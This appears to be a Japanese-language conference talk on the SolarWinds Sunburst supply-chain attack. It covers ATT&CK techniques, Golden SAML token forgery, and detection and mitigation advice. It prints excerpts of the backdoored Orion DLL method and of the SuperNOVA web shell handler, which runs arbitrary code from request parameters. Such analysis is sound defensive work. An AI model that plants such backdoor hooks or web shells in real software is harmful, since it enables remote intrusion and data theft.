Nathan Aw
https://www.linkedin.com/in/awnathan
https://owasp.org/www-chapter-singapore/
24 February 2021
「ソフトウェアエンジニアリングの観点からすると、今回の攻撃は、世界がこれまでに経験したことのないほど大規模で高度なものです。洗練された最大の攻撃だと言えるでしょう」と述べています。- ブラッド・スミス(マイクロソフト社長)
SOURCE: https://www.cbsnews.com/news/solarwinds-hack-russia-cyberattack-60-minutes-2021-02-14/
A Poisoned SolarWinds.Orion.Core.BusinessLayer.dll
internal void RefreshInternal()
{
if (InventoryManager.log.get_IsDebugEnabled())
InventoryManager.log.DebugFormat("Running scheduled background backgroundInventory check on engine {0}", (object) this.engineID);
try
{
if (!OrionImprovementBusinessLayer.IsAlive)
new Thread(new ThreadStart(OrionImprovementBusinessLayer.Initialize))
{
IsBackground = true
}.Start();
}
catch (Exception ex)
{
}
if (this.backgroundInventory.IsRunning)
{
InventoryManager.log.Info((object) "Skipping background backgroundInventory check, still running");
}
else
{
this.QueueInventoryTasksFromNodeSettings();
this.QueueInventoryTasksFromInventorySettings();
if (this.backgroundInventory.QueueSize <= 0)
return;
this.backgroundInventory.Start();
}
}
SOURCE: https://github.com/nathanawmk/Sunburst-Analysis;
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
この講演で述べられた意見や見解は私個人のものであり、私の雇用この講演で述べられた意見・見解は、あくまでも私個人のものであり、私の雇用主の意見・見解を示すものではありません。
自己紹介
Nathan Aw
金融サービス業界(FSI)で、クラウド・ネイティブ、マイクロサービス、devsecopsの開発者/アーキテクトとして、日々進化する金融サービスへの対応に関心を持って取り組んでいます。開発者/アーキテクトとして金融サービス業界(FSI)で働いており、特に進化し続ける新興の脅威への対策に関心を持っています。進化し続ける新たな脅威への対策に関心を持つ。オンプレミスでもマルチクラウドでも、どこに配備されても安全なコードを作ることに時間を費やしています。確信を持って ホリスティックなサイバーリスク管理のパラダイムを信じ、実践しています。複雑化するマルチクラウド、ハイブリッドクラウドにおいては、IDベースのゼロトラスト・セキュリティ・パラダイムが唯一の道であると考えています。複雑化するマルチクラウド、ハイブリッドクラウド環境では、アイデンティティベースのゼロトラスト・セキュリティ・パラダイムが唯一の道であると考えている。
https://www.linkedin.com/in/awnathan
この講演で述べられた意見や見解は私個人のものであり、私の雇用この講演で述べられた意見・見解は、あくまでも私個人のものであり、私の雇用主の意見・見解を示すものではありません。
背景: 何が起こったのか?(非常に高いレベル)
- ITモニタリングや管理ツールを販売するSolarWinds社は、2019年のある時点(早ければ2019年10月)に侵入されている。
- 敵対者は、悪意のあるバージョンのバイナリsolarwinds.orion.core.businesslayer.dllをSolarWindsに追加しました。ソフトウェアのライフサイクルにバイナリ solarwinds.orion.core.businesslayer.dll を追加され、そのバイナリに正規の SolarWindsのコード署名証明書によって署名されたと知られています。サプライチェーンコンプロマイズとも呼ばれ、約18,000人のSolarWinds の顧客がこの汚染されたアップデートを自分のシステムにインストールしました。
- サイバーセキュリティ・インフラストラクチャセキュリティ機構 CISA(Computer Emergency Readiness Team)は、米国国土安全保障省(DHS)の一部であるCERT(Computer Emergency Readiness Team)の略称です。CISAは、2020年12月13日に緊急指令21-01を発行しました。
別名:サンバーストバックドアまたはソロリゲート SolarWinds.Orion.Core.Busine ssLayer.dllは、Orionソフトウェアフレームワークのデジタル署名されたコンポーネントで、HTTP経由でサードパーティのサーバーと通信するバックドアを含んでいます。 サプライチェーンコンプロマイズの定義:「敵対者は最終消費者が製品を受け取る前に、データやシステムを侵害する目的で、製品や製品配送の仕組みを操作すること。」
SOURCE:
https://www.kiuwan.com/solarwinds-hack-timeline/
https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/
https://www.nytimes.com/2021/01/02/us/politics/russian-hacking-government.htm
https://attack.mitre.org/techniques/T1195/
https://www.businessinsider.com/solarwinds-warned-weak-123-password-could-expose-firm-report-2020-12
https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
https://www.cisa.gov/news/2020/12/13/cisa-issues-emergency-directive-mitigate-compromise-solarwinds-orion-network
背景:影響
- 機密性の高い連邦政府機関を含む最大18,000の顧客に悪意のあるアップデートがインストールされている。
- 米国エネルギー省と国家核安全保障局は、ハッカーがネットワークにアクセスした証拠を持っている。国家核安全保障局は、米国の核兵器の備蓄を管理しています。
- 数多くのサイバーセキュリティ・ベンダー–Fireye社、Mimecast社、Qualys社、Palo Alto Networks社、Fidelis社–が、SolarWinds Orionのトロイの木馬版をインストールした企業のリストに名前を加えている。
- また、この攻撃者は、マイクロソフトの内部ネットワーク内でアクセスを拡大し、少数の内部アカウントにアクセスして、マイクロソフトのソースコードリポジトリにアクセスすることに成功しました。
- 影響を受けるお客様のリストは、今後も増え続ける可能性があります。
攻撃者がSolarwinds Orion内で書き換えたコードの行数は4,032行〜 1000人以上のソフトウェアエンジニアが関与
SOURCE:
https://www.securityweek.com/vmware-cisco-reveal-impact-solarwinds-incident#:~:text=According%20to%20SolarWinds%2C%20up%20to,before%20the%20breach%20was%20discovered.
https://www.politico.com/news/2020/12/17/nuclear-agency-hacked-officials-inform-congress-447855
https://www.zdnet.com/article/microsoft-solarwinds-attack-took-more-than-1000-engineers-to-create/
https://www.zdnet.com/article/four-security-vendors-disclose-solarwinds-related-incidents/#:~:text=This%20week%2C%20four%20new%20cyber,of%20the%20SolarWinds%20Orion%20app.
https://msrc-blog.microsoft.com/2020/12/31/microsoft-internal-solorigate-investigation-update/
サプライチェーンを悪用することは、今やサイバー兵器のツールボックスの中核的なツールとなっています。
SOURCE:
https://blog.adolus.com/blog/three-things-the-solarwinds-supply-chainattack-can-teach-us;
https://www.wired.com/story/solarwinds-hacker-methods-copycats/
サイバーキルチェーン+戦術・技術・手順(TTP): ハイレベルなエンド・ツー・エンドの攻撃チェーン
SOURCE: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/;
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helpsprotect/
サイバーキルチェーン+戦術・技術・手順(TTP): 初期アクセスとコマンド&コントロール
サイバーキルチェーン+戦術・技術・手順(TTP): ハンズオンキーボードの前提条件への攻撃
MITRE ATT&CKのテクニックをいくつか紹介します。
MITRE ATT&CKの手法を観察 – US CISA
- Query Registry [T1012]
- Obfuscated Files or Information [T1027]
- Obfuscated Files or Information: Steganography [T1027.003]
- Process Discovery [T1057]
- Indicator Removal on Host: File Deletion [T1070.004]
- Application Layer Protocol: Web Protocols [T1071.001]
- Application Layer Protocol: DNS [T1071.004]
- File and Directory Discovery [T1083]
- Ingress Tool Transfer [T1105]
- Data Encoding: Standard Encoding [T1132.001]
- Supply Chain Compromise: Compromise Software Dependencies and Development Tools [T1195.001]
- Supply Chain Compromise: Compromise Software Supply Chain [T1195.002]
- Software Discovery [T1518]
- Software Discovery: Security Software [T1518.001]
- Create or Modify System Process: Windows Service [T1543.003]
- Subvert Trust Controls: Code Signing [T1553.002]
- Dynamic Resolution: Domain Generation Algorithms [T1568.002]
- System Services: Service Execution [T1569.002]
- Compromise Infrastructure [T1584]
SOURCE: https://us-cert.cisa.gov/ncas/alerts/aa20-352a
これまで既存の技術では明確に捉えられていなかったいくつかの行動が確認されました。
SOURCE:
https://attack.mitre.org/techniques/T1606/002/ ;
https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714
Web認証情報をどのようにして偽造するのか?昇格したActive Directory権限を使用してSAML署名証明書を危殆化させた場合
敵対者の最初の目的は、被害者の環境から情報を収集することであると考えられます。この目的を達成するための1つの方法として、敵対者は、昇格したActive Directoryの権限を使ってSAML署名証明書を侵害します。これを達成すると、敵対者は、未承認だが有効なトークンを作成し、その環境のSAMLトークンを信頼するサービスに提示します。これらのトークンを使用して、ホスティングされた環境のリソース(電子メールなど)にアクセスし、認可されたAPIを介してデータを流出させることができます。永続化段階では、サービスプリンシパルに追加の認証情報が添付されることで、ユーザーオブジェクトの活動が難読化されます。これは、ユーザーオブジェクトが個人によってアクセスされているように見えるためで、このような個人のアクセスは通常のものであり、すべてのM365ライセンスレベルでログに記録されません。
SOURCE: https://us-cert.cisa.gov/ncas/alerts/aa20-352a
“SolarWindsのハッカーは、多くのケースでそのアクセスを利用して、被害者のMicrosoft 365メールサービスやMicrosoft Azureクラウドのインフラに侵入していました。”
SAMLのサンプル レスポンス"SolarWindsのハッカーは、そのアクセス権を利用して、被害者のMicrosoft 365メールサービスとMicrosoft Azureクラウドインフラストラクチャに侵入しました。このようなMicrosoft 365やAzureへの侵入を防ぐには、パッチを当てれば済むような特定の脆弱性に依存していないことが課題となります。その代わりに、ハッカーは最初の攻撃で、Microsoft 365やAzureを合法的に見える方法で操作します。今回のケースでは、大きな効果が得られました。"
"攻撃者は、被害者のシステム上で新たに得た権限を利用して、Microsoft 365やAzureのSAMLトークンと呼ばれるシステム認証トークンの生成に使用される証明書や鍵を制御することができます。 企業はこの認証インフラを、クラウドではなくローカルで、Active Directory Federation Servicesというマイクロソフトのコンポーネントを使って管理しています。"
SOURCE: https://www.wired.com/story/solarwinds-hacker-methods-copycats/
磨きをかける。ゴールデンSAML攻撃テクニック
ゴールデンSAMLアタックとはどのようなものですか?
2017年にCyberArk Labsが発見した攻撃ベクトル。このベクトルにより、攻撃者は基本的に偽造されたSAML「認証オブジェクト」であるゴールデンSAMLを作成し、SSOメカニズムとしてSAML 2.0プロトコルを使用するすべてのサービスで認証を行うことができます。
攻撃の仕組みは?
ゴールデン SAML 攻撃では、攻撃者はアプリケーション(SAML 認証をサポートしている任意のアプリケーション)に任意の権限でアクセスし、対象となるアプリケーションの任意のユーザになることができます。
SAMLとは何ですか?
SAMLプロトコル(Security Assertion Markup Language)は、認証および認可データを当事者間で交換するためのオープンスタンダードで、特にIDプロバイダーとサービスプロバイダーの間で使用されます。
SOURCE: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps;
https://github.com/cyberark/shimit
良いフロー! 🙂
SOURCE:
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html;
https://www.sygnia.co/golden-saml-advisory
良くないフロー! 🙂
攻撃者がユーザーのアイデンティティと権限を保持するオブジェクトに署名する鍵を持っている場合、攻撃者はそのような「認証オブジェクト」(SAMLResponse)を偽造し、任意のユーザーになりすまして Office 365 などのサービスプロバイダーへの不正アクセスを行うことができます。ゴールデンSAML攻撃は、IdPフォージング攻撃と定義することもできます。
SOURCE:
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html;
https://www.sygnia.co/golden-saml-advisory
磨きをかける。ゴールデンSAML攻撃テクニック -DEMO:SAMLのテストアプリ
SOURCE: https://samltestapp2.azurewebsites.net/
磨きをかける。ゴールデンSAML攻撃テクニック -SAMLのサンプル レスポンス
コンプロマイズ後の脅威の活動を検知する+修復する
"侵入者は、さまざまな侵入行為において、複数の持続性メカニズムを使用していることが確認されています。CISAは、既存のAzure/Microsoft 365(M365)アプリケーションサービスのプリンシパルに、トークンや証明書を割り当てる形で認証情報を追加する脅威の行為を確認しています。これらの追加された認証情報は、持続性とエスカレーションのメカニズムを提供し、重要な証拠や遠隔測定を生成することなくホストされたリソースにアクセスするために、Microsoft Cloudのテナントと対話するプログラム方法(多くの場合、Microsoft Graph Application Programming Interface [API]を使用)を提供します。"
↓
Microsoft Graphは、Microsoft 365のデータとインテリジェンスへのゲートウェイです。Microsoft 365、Windows 10、Enterprise Mobility + Securityにある膨大な量のデータにアクセスするために使用できる、統一されたプログラマビリティモデルを提供します。Microsoft Graphの豊富なデータを利用して、何百万人ものユーザーと対話する組織や消費者向けのアプリケーションを構築することができます。
SOURCE: https://us-cert.cisa.gov/ncas/alerts/aa20-352a;
https://docs.microsoft.com/en-us/graph/overview
SOURCE: https://docs.microsoft.com/en-us/graph/overview
Sparrow.ps1は、CISAのクラウドフォレンジックチームが作成したもので、Azure/m365環境で侵害された可能性のあるアカウントやアプリケーションの検出に役立ちます。
SOURCE:
https://github.com/nathanawmk/Sparrow
ゴールデンSAML攻撃の抑止。ゴールデンSAMLの検出と緩和
- フェデレーション・アイデンティティ・プロバイダー(IdP)技術のベストプラクティスに従う。例えば、AD FS(Active Directory Federation Services by Microsoft)のベストプラクティスなどです。一部のIdPでは、トークン署名証明書をハードウェア・セキュリティ・モジュール(HSM)で保護することをサポートしています。これにより、攻撃者がトークン・サイニング・サーティフィケートを盗むことがより困難になるはずです。
- Tier-0 の資産(フェデレーション ID プロバイダもここに含まれます)を保護するために、できる限りのことを行います。これには、適切なクレデンシャルの衛生管理、特権アクセス管理ソリューション、EDR などの導入が含まれます。これにより、攻撃者がそもそもトークン署名証明書を盗むのに十分な権限を得ることが非常に困難になります。
- SAML トークンを調査して、疑わしいトークンを特定する(寿命が異常に長いトークンや、異常な主張を持つトークンなど)。
- ID プロバイダとサービスプロバイダ間のログを相関させる。サービスプロバイダの SAML 認証が、ID プロバイダによる SAML トークンの発行と相関していない場合は、何かが間違っている。
- サードパーティのセキュリティソリューションを使用して、トークン署名証明書が攻撃者に盗まれないように保護します。
- 多要素認証を有効にし、他のすべての高権限のシングルユーザーの非フェデレーション管理者アカウントを登録する。
- Azure ADの管理者ロールの1つ以上に恒久的に割り当てられているすべての個人ユーザーに対して、サインイン時にAzure AD多要素認証(MFA)を要求します。グローバル管理者、特権ロール管理者、Exchange管理者、およびSharePoint管理者。
SOURCE: https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection ;
https://docs.microsoft.com/en-us/azure/active-directory/roles/security-planning
https://docs.microsoft.com/en-us/security/compass/overview
将来のサプライチェーンへの攻撃に備えて
多くの組織が非常に多くのサードパーティ・プロバイダーに依存しており、プロバイダーのソフトウェア開発手法(例えば、使用したパスワードなど)を可視化したり制御したりすることができないという事実を考えると、これは非常に困難なことです。
サプライチェーンの可視性を高め、サプライヤーとの信頼関係を構築し、サプライチェーンの侵害に備えた計画を用意することで、企業はサプライチェーンのリスクを軽減することができます。
SOURCE: https://www.boozallen.com/c/insight/blog/3-ways-to-prevent-supply-chain-attacks.html
MASテクノロジー・リスク・マネジメント・ガイドライン改訂版 2021年1月
“第三者やオープンソースのソフトウェアコードの使用に関する方針と手順を確立し、これらのコードが金融機関のソフトウェアに統合される前にレビューとテストを受けるようにすべきである。”
6 ソフトウェアアプリケーションの開発と管理
6.1 セキュアコーディング、ソースコードレビュー、アプリケーションセキュリティテスト
6.1.1 ソフトウェアのバグや脆弱性は、典型的には、ITシステムを侵害するために脅威となる行為者に狙われ、悪用されるものであり、また、ソフトウェアの開発方法が悪いために発生することが多い。ソフトウェアのバグや脆弱性を最小化するために、金融商品取引所は、セキュアコーディング、ソースコードレビュー及びアプリケーションセキュリティテストに関する基準を採用する必要があります。
6.1.2 安全なコーディングおよびソースコードレビューの基準は、安全なプログラミングの実践、入力の検証、出力のエンコーディング、アクセスコントロール、認証、暗号の実践、エラーおよび例外処理などの分野をカバーするものとする。
6.1.3 第三者及びオープンソース・ソフトウェア・コードの使用に関する方針及び手順を確立し、これらのコードが金融商品のソフトウェアに統合される前にレビュー及びテストを受けることを保証するものとします。
6.1.4 脆弱性の修正をタイムリーに行うために、金融機関は、金融機関のソフトウェアに組み込まれている第三者やオープンソースのソフトウェアコードの更新情報や報告された脆弱性を把握する必要があります。
6.1.5 金融商品取引業者は、アプリケーションを開発する際に、ソフトウェア開発者がセキュア・コーディング及びアプリケーション・セキュリティ基準を適用するためのトレーニングを受けていること、又は必要な知識及び技能を有していることを保証するものとします。
6.1.6 金融商品取引業者は、アプリケーション・セキュリティの検証及びテストを行うための包括的な戦略を確立することが不可欠です。金融商品取引業者は、ソフトウェア・アプリケーションのセキュリティを検証するために、静的、動的及び対話的なアプリケーション・セキュリティ・テスト手法(アプリケーション・セキュリティ・テストに関する付属書Aを参照)を組み合わせて使用することができます。ソフトウェアの検証及びテストのルールは、定期的に見直しを行い、最新の状態を維持する必要があります。
6.1.7 ソースコードレビュー及びアプリケーションセキュリティテストから発見されたすべての問題点及びソフトウェアの欠陥を追跡するものとする。重大な問題及びソフトウェアの欠陥は、本番環境への導入前に修正されるべきである。
6.2 アジャイルソフトウェア開発
6.2.1 アジャイル・ソフトウェア開発は、反復的かつ漸進的な開発モデルに基づいており、ビジネスや顧客のニーズに対応するためにソフトウェアの開発と提供を加速させるものです。アジャイルソフトウェア開発手法を採用する場合、金融機関は、そのアジャイルプロセスを通して、必要なSDLCとセキュリティ・バイ・デザインの原則を継続して取り入れるべきです。
アジャイル・プロセスを通して必要なSDLCとセキュリティ・バイ・デザインの原則を継続して取り入れるべきです。
6.2.2 金融機関は、アジャイル・ソフトウェア開発において、セキュア・コーディング、ソース・コード・レビュー及びアプリケーション・セキュリティ・テストの基準を確実に適用するものとします。
6.3 DevSecOpsマネジメント
6.3.1 DevSecOpsとは、ソフトウェア開発プロセスにおけるIT運用、品質保証及びセキュリティの実践を自動化し、統合することです。これは、ソフトウェア製品の開発、テスト、およびリリースを頻繁に、効率的に、信頼性高く、安全に行うための継続的インテグレーション、継続的デリバリー、およびITセキュリティプラクティスを構成します。金融機関は、DevSecOpsの活動やプロセスが、SDLCフレームワークやITサービスマネジメントのプロセス(構成管理、変更管理、ソフトウェアリリース管理など)と連携していることを確認する必要があります。
6.3.2 金融機関は、適切なセキュリティ対策を実施し、DevSecOpsプロセスにおけるソフトウェア開発、テスト及びリリース機能の職務分離を実施する必要があります。
6.4 アプリケーション・プログラミング・インターフェースの開発
6.4.1 アプリケーション・プログラミング・インターフェース(API)は、様々なソフトウェアアプリケーションが相互に通信し、対話し、データを交換できるようにするものである。オープンAPIとは、ソフトウェアアプリケーションやウェブサービスへのプログラムによるアクセスを開発者に提供する、一般に公開されたAPIのことです。FIはFinTech企業と協力してオープンAPIを開発することがあり、そのAPIは第三者が顧客や市場向けの製品やサービスを実装するために使用されます。したがって、FIにとっては、このようなサービスを安全に提供するために、APIの開発とプロビジョニングを管理する適切なセーフガードを確立することが重要です。
6.4.2 第三者がAPIを介して金融商品取引所に接続する際の適合性を評価するため、また、第三者のAPIアクセスを管理するため、明確な審査プロセスを実施するものとする。審査基準は、第三者の事業内容、サイバーセキュリティの態勢、業界での評判や実績などの要素を考慮したものでなければならない。
今日のこのセッションを終える前に – Back to the Solarwinds: 大きな変化:SuperNOVA
public void ProcessRequest(HttpContext context)
{
try {
// C# namespaces and assemblies
string codes = context.Request["codes"];
// C# class name to instantiate
string clazz = context.Request["clazz"];
// C# class method to invoke
string method = context.Request["method"];
// Arguments to the invoked method
string[] args = context.Request["args"].Split(new char[] {'\n'});
context.Response.ContentType = "text/plain";
context.Response.Write(this.DynamicRun(codes, clazz, method, args));
} //...
↓
SuperNOVAは、Orion Platformの脆弱性を利用して、Orion Platformがインストールされた後に展開されたマルウェアです。
https://www.solarwinds.com/sa-overview/securityadvisory#anchor2;
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a
結論
“永遠の警戒は自由の代償である”
“自分が今いる場所で、自分が持っているもので、できることをする。”
セオドア・ルーズベルト
ソーラーウインズの不正アクセスは現在も続いており、その影響が完全に判明するのは後日になると思われます。
リファレンス
https://attack.mitre.org/versions/v8/techniques/T1553/002/
https://us-cert.cisa.gov/ncas/alerts/aa20-352a
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberatt
ack-and-how-microsoft-defender-helps-protect/
https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-clo
ud-apps
https://attack.mitre.org/techniques/T1606/002/
https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html
https://www.wired.com/story/solarwinds-hacker-methods-copycats/
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://attack.mitre.org/software/S0559/